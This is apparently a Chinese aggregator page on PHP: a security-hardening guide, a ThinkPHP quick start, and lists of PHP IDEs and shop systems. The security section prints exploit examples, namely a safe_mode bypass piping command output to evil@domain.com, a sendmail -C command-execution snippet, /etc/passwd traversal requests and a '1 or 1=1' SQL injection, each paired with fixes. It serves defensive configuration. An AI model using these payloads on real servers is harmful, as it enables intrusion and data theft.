可灵活定制和调整php,灵活定制是什么意思

发布时间：2022-11-17

本文目录一览：

  1. php安全配置 如何配置使其更安全
  2. 本人新手，刚安装thinkphp，怎么不成功
  3. 大家给推荐一个php开发工具 哦 ！
  4. php商城系统那个比较好？他们有什么特点!

php安全配置 如何配置使其更安全

一、Web服务器安全

PHP是Web服务器的一个模块功能，因此首先要保证Web服务器的安全。建议以chroot方式安装启动Apache，这样即使Apache和PHP及其脚本出现漏洞，受影响的也只有这个禁锢的系统，不会危害实际系统。但使用chroot的Apache后，给应用也会带来一定的麻烦，比如连接MySQL时必须用127.0.0.1地址使用TCP连接而不能用localhost实现socket连接，这在效率上会稍微差一点。 PHP的mail函数发送邮件也是一个问题，因为php.ini里的：

[mail function]
; For Win32 only.
SMTP = localhost
; For Win32 only.
sendmail_from = me@localhost.com

都是针对Win32平台，所以需要在chroot环境下调整好sendmail。

二、PHP本身问题

  1. 远程溢出
    PHP-4.1.2以下的所有版本都存在文件上传远程缓冲区溢出漏洞，攻击程序已经广泛流传，成功率非常高。
  2. 远程拒绝服务
    PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST请求处理远程漏洞，虽然不能获得本地用户权限，但是也能造成拒绝服务。
  3. safe_mode绕过漏洞
    PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函数绕过safe_mode限制执行命令漏洞。4.0.5版本突破非常简单，只需用分号隔开后面加shell命令即可。 
    mail("foo@bar", "foo", "bar", "", $bar);
    执行如下URL： 
    ;/usr/bin/id|mail evil@domain.com
    这将id执行的结果发送给evil@domain.com。 对于4.0.6至4.2.2的PHP突破safe_mode限制其实是利用了sendmail的-C参数，所以系统必须是使用sendmail。 
    $script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp\nSparse=0\nR$*\"\t\"$#local $@ $1 $: $1\nMlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("nobody", "", "", "", "-C$cf");
    建议使用以上有问题版本PHP的用户及时升级到最新版本，这样才能消除基本的安全问题。

三、PHP本身的安全配置

PHP的配置非常灵活，可以通过php.ini、httpd.conf、.htaccess文件（该目录必须设置了AllowOverride All或Options）进行设置，还可以在脚本程序里使用ini_set()及其他的特定的函数进行设置。通过phpinfo()和get_cfg_var()函数可以得到配置选项的各个值。 如果配置选项是唯一PHP_INI_SYSTEM属性的，必须通过php.ini和httpd.conf来修改，它们修改的是PHP的Master值，但修改之后必须重启Apache才能生效。其中php.ini设置的选项是对Web服务器所有脚本生效，httpd.conf里设置的选项是对该定义的目录下所有脚本生效。 如果还有其他的PHP_INI_USER、PHP_INI_PERDIR、PHP_INI_ALL属性的选项就可以使用.htaccess文件设置，也可以通过在脚本程序自身用ini_set()函数设定，它们修改的是Local值，改了以后马上生效。但是.htaccess只对当前目录的脚本程序生效，ini_set()函数只对该脚本程序设置ini_set()函数以后的代码生效。 在讨论PHP安全配置之前，应该好好了解PHP的safe_mode模式。

1. safe_mode

safe_mode是唯一PHP_INI_SYSTEM属性，必须通过php.ini或httpd.conf来设置。要启用safe_mode，只需修改php.ini：

safe_mode = On

或者修改httpd.conf，定义目录：

<Directory /var/www>
    Options FollowSymLinks
    php_admin_value safe_mode 1
</Directory>

重启Apache后safe_mode就生效了。启动safe_mode，会对许多PHP函数进行限制，特别是和系统相关的文件打开、命令执行等函数。 所有操作文件的函数将只能操作与脚本UID相同的文件，比如test.php脚本的内容为：

include("index.html")

几个文件的属性如下：

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在浏览器请求test.php会提示如下的错误信息：

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目录的UID和脚本UID一致，那么该文件的UID即使和脚本不同也可以访问的，不知这是否是PHP的一个漏洞还是另有隐情。所以php脚本属主这个用户最好就只作这个用途，绝对禁止使用root做为php脚本的属主，这样就达不到safe_mode的效果了。 如果想将其放宽到GID比较，则打开 safe_mode_gid可以考虑只比较文件的GID，可以设置如下选项：

safe_mode_gid = On

设置了safe_mode以后，所有命令执行的函数将被限制只能执行php.ini里safe_mode_exec_dir指定目录里的程序，而且shell_exec、ls -l这种执行命令的方式会被禁止。如果确实需要调用其它程序，可以在php.ini做如下设置：

safe_mode_exec_dir = /usr/local/php/exec

然后拷贝程序到该目录，那么php脚本就可以用system等函数来执行该程序。而且该目录里的shell脚本还是可以调用其它目录里的系统命令。

safe_mode_include_dir string

当从此目录及其子目录（目录必须在 include_path 中或者用完整路径来包含）包含文件时越过 UID/GID 检查。 从 PHP 4.2.0 开始，本指令可以接受和 include_path 指令类似的风格用分号隔开的路径，而不只是一个目录。 指定的限制实际上是一个前缀，而非一个目录名。这也就是说“safe_mode_include_dir = /dir/incl”将允许访问“/dir/include”和“/dir/incls”，如果它们存在。如果您希望将访问控制在一个指定的目录，那么请在结尾加上一个斜线，例如：“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

设置某些环境变量可能是潜在的安全漏洞。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能修改那些名字具有在这儿提供的前缀的环境变量。例如，PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。 注：如果本指令为空，PHP 将使用户可以修改任何环境变量！

safe_mode_protected_env_vars string

本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。 虽然safe_mode不是万能的（低版本的PHP可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。

2. 变量滥用

PHP默认register_globals = On，对于GET、POST、Cookie、Environment、Session的变量可以直接注册成全局变量。但变量的滥用极易造成程序的混乱。攻击者可以绕过检查。 解决方法：

  • 配置文件php.ini设置register_globals = Off。
  • 要求程序员对作为判断的变量在程序最开始初始化一个值。

3. 文件打开

极易受攻击的代码片断：

if (!($str = readfile("$filename"))) {
    echo("Could not open file: $filename<br>\n");
    exit;
} else {
    echo $str;
}

由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd：

...&filename=/etc/passwd

解决方法：

  • 如非特殊需要，把php的文件操作限制在web目录里面。
  • 使用safe_mode模式也能避免这种问题。

4. 包含文件

极易受攻击的代码片断：

if(file_exists($filename))
    include("$filename");

这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件：

...&filename=/etc/passwd

解决方法：

  • 要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。
  • 如前面文件打开中限制PHP操作路径是一个必要的选项。
  • 另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件：
allow_url_fopen = Off

5. 文件上传

PHP的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。 推荐使用：

$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]

解决方法：

  • PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。
  • 使用$HTTP_POST_FILES数组来读取用户上传的文件变量。
  • 严格检查上传变量。比如不允许是php脚本文件。
  • 把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。
  • 把PHP脚本用phpencode进行加密，避免由于copy操作泄漏源码。
  • 严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。
  • 对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现：
<Directory /usr/local/apache/htdocs/upload>
    php_flag engine off
</Directory>

6. 命令执行

下面的代码片断是从PHPNetToolpack摘出：

system("traceroute $a_query",$ret_strs);

由于程序没有过滤$a_query变量，所以攻击者可以用分号来追加执行命令。 解决方法：

  • 要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。
  • 启用safe_mode可以杜绝很多执行命令的问题，不过要注意PHP的版本一定要是最新的。

7. SQL注入

如下的SQL语句如果未对变量进行处理就会存在问题：

select * from login where user=$user and pass=$pass

攻击者可以用户名和口令都输入1 or 1=1绕过验证。 解决方法：

  • 要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。
  • 即使是数字类型的字段，变量也要用单引号扩起来，MySQL自己会把字串处理成数字。
  • 在MySQL里不要给PHP程序高级别权限的用户，只允许对自己的库进行操作。

8. 警告及错误信息

PHP默认显示所有的警告及错误信息：

error_reporting = E_ALL ~E_NOTICE
display_errors = On

正式应用时，警告及错误信息让用户不知所措，而且给攻击者泄漏了脚本所在的物理路径，为攻击者的进一步攻击提供了有利的信息。 解决方法：

  • 修改php.ini中关于Error handling and logging部分内容：
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

9. disable_functions

如果觉得有些函数还有威胁，可以设置php.ini里的disable_functions（这个选项不能在httpd.conf里设置），比如：

disable_functions = phpinfo, get_cfg_var

10. disable_classes

这个选项是从PHP-4.3.2开始才有的，它可以禁用某些类。

11. open_basedir

用open_basedir指定的限制实际上是前缀，不是目录名。也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 "/dir/incls"，如果它们存在的话。如果要将访问限制在仅为指定的目录，用斜线结束路径名。例如："open_basedir = /dir/incl/"。

四、其它安全配置

  1. 取消其它用户对常用、重要系统命令的读写执行权限
  2. 去掉Apache日志其它用户的读权限

本人新手，刚安装thinkphp，怎么不成功

快速入门（一）：基础

简介

ThinkPHP是一个快速、简单的基于MVC和面向对象的轻量级PHP开发框架，遵循Apache2开源协议发布，从诞生以来一直秉承简洁实用的设计原则，在保持出色的性能和至简的代码的同时，尤其注重开发体验和易用性，并且拥有众多的原创功能和特性，为WEB应用开发提供了强有力的支持。

下载

ThinkPHP最新版本可以在官方网站下载。

目录结构

框架的目录结构为：

www  WEB部署目录（或者子目录）
├─index.php    入口文件
├─README.md    README文件
├─composer.json Composer定义文件
├─Application  应用目录
├─Public       资源文件目录
└─ThinkPHP     框架目录

入口文件

在开始之前，你需要一个Web服务器和PHP运行环境，如果你暂时还没有，我们推荐使用集成开发环境WAMPServer来使用ThinkPHP进行本地开发和测试。 3.2版本开始框架自带了一个应用入口文件，默认内容如下：

define('APP_PATH','./Application/');
require './ThinkPHP/ThinkPHP.php';

这段代码的作用就是定义应用目录和加载ThinkPHP框架的入口文件，这是所有基于ThinkPHP开发应用的第一步。

模块设计

3.2版本采用模块化的设计架构，下面是一个典型的模块目录结构，每个模块可以方便的卸载和部署，并且支持公共模块（Runtime目录非模块目录）。

调试模式

ThinkPHP支持调试模式，默认情况下是运行在部署模式下面。部署模式下面性能优先，并且尽可能少地抛出错误信息，调试模式则以除错方便优先，关闭任何缓存，而且尽可能多的抛出错误信息，所以对性能有一定的影响。 开启调试模式很简单，我们只需要在入口文件的开头加上一行常量定义代码：

define('APP_DEBUG', true); // 开启调试模式

配置

每个应用模块都有独立的配置文件（位于模块目录的Conf/config.php），配置文件的定义格式支持PHP/JSON/YAML/INI/XML等方式，默认采用PHP数组定义。

控制器

需要为每个控制器定义一个控制器类，控制器类的命名规范是：

控制器名+Controller.class.php （模块名采用驼峰法并且首字母大写）

URL请求

ThinkPHP采用单一入口模式访问应用，对应用的所有请求都定向到应用的入口文件，系统会从URL参数中解析当前请求的模块、控制器和操作，下面是一个标准的URL访问格式：

模块/控制器/操作

视图

ThinkPHP内置了一个编译型模板引擎，也支持原生的PHP模板，并且还提供了包括Smarty在内的模板引擎驱动。

读取数据

在开始之前，我们首先在数据库thinkphp中创建一个think_data数据表（以mysql数据库为例）：

CREATE TABLE IF NOT EXISTS `think_data`(
    `id` int(8) unsigned NOT NULL AUTO_INCREMENT,
    `data` varchar(255) NOT NULL,
    PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

如果我们需要读取数据库中的数据，就需要在模块配置文件中添加数据库连接信息如下：

'DB_TYPE' = 'mysql', // 数据库类型
'DB_HOST' = '127.0.0.1', // 服务器地址
'DB_NAME' = 'thinkphp', // 数据库名
'DB_USER' = 'root', // 用户名
'DB_PWD' = '', // 密码
'DB_PORT' = 3306, // 端口
'DB_PREFIX' = 'think_', // 数据库表前缀
'DB_CHARSET' = 'utf8', // 数据库字符集

大家给推荐一个php开发工具 哦 ！

PHP开发工具汇总

这里个人推荐一些 PHP IDE 工具，非常见的 Editplus 之类的，都是专门为 PHP 开发的，个人感觉方便容易入手啊简单操作，找出自己用得顺手的就可以了。

Zend Studio

目前公认的最强大的PHP开发工具，这种集成软件包包括了用于编辑，调试，配置PHP程序所需要的客户及服务器组件，软件包具有工业标准的PHP开发环境，代码完成引擎，功能齐全的调试器等。

NuSphere PHPEd

PhpED 通过无与伦比的PHP调试和压缩能力，以及一个新的NuSOAP web服务向导成为了PHP领域的领军产品。更加强大的Project Manager使得发布站点和应用程序比以前更加容易。

PHP Coder

PHPCoder用于快速开发和调试PHP应用程序,它很容易扩展和定制,完全能够符合开发者的个性要求。

Ankord PHP Expert Editor

PHP Expert Editor是一个容易使用的 PHP 开发工具，它的功能照顾到初级者及专业开发人员。

DzSoft PHP Editor

专为 PHP 所设计的网页程序编辑软件 - DzSoft PHP Editor，具有 PHP 编辑、侦错、浏览、原始码检视、档案浏览、可自订的原始码样本等功能，无须架设网站主机就可以测试 PHP 指令码，是一套功能强大的 PHP 编程软件。

Dev-PHP IDE

非常好用的php编辑器，支持php-gtk，内建许多快速html表单，非常的好用。

Master PHP

一款支持PHP, PHP3, PHTML, CSS, JS, HTML, HTM and SQL的编辑器，它允许用户编辑多种一次编辑多种文件，允许插入，运行和最优化程序的脚本。

Komodo

Komodo支持在Windows与Linux上，Perl、Python及JavaScript等的程序语言开发，以及多种程序语言语法不同颜色标注。

Maguma Studio

Maguma Studio包含了编辑和调试 PHP 程序所有必须的工具。无论您是经验丰富的开发者、或是初学者它都适合您。

PhpLens

PhpLens是一款专为PHP开发人员准备的快速数据库开发程序。通过使用PhpLens，可以快速的设计、发布和维护数据库驱动的网络产品。

php商城系统那个比较好？他们有什么特点!

OpenCart

OpenCart是新一代基于PHP开发的开源在线购物车系统。OpenCart具有易于使用，功能丰富，搜索引擎友好和漂亮简洁的操作界面等特点。

phpShop

phpShop是一个基于PHP的网上商店系统。phpShop虽然比其它网上购物系统简单，而且功能少。但是它非常灵活可让你按自己的个性化要求进行定制。

gshop

gshop商城系统也是基于PHP开发的商城系统，操作简洁方便，后台界面漂亮美观，支持千余套个性模板，最主要是支持纯静态对于网站的优化很好，功能也很强大。是现在网上新一代最热门的商城系统之一！

推荐文章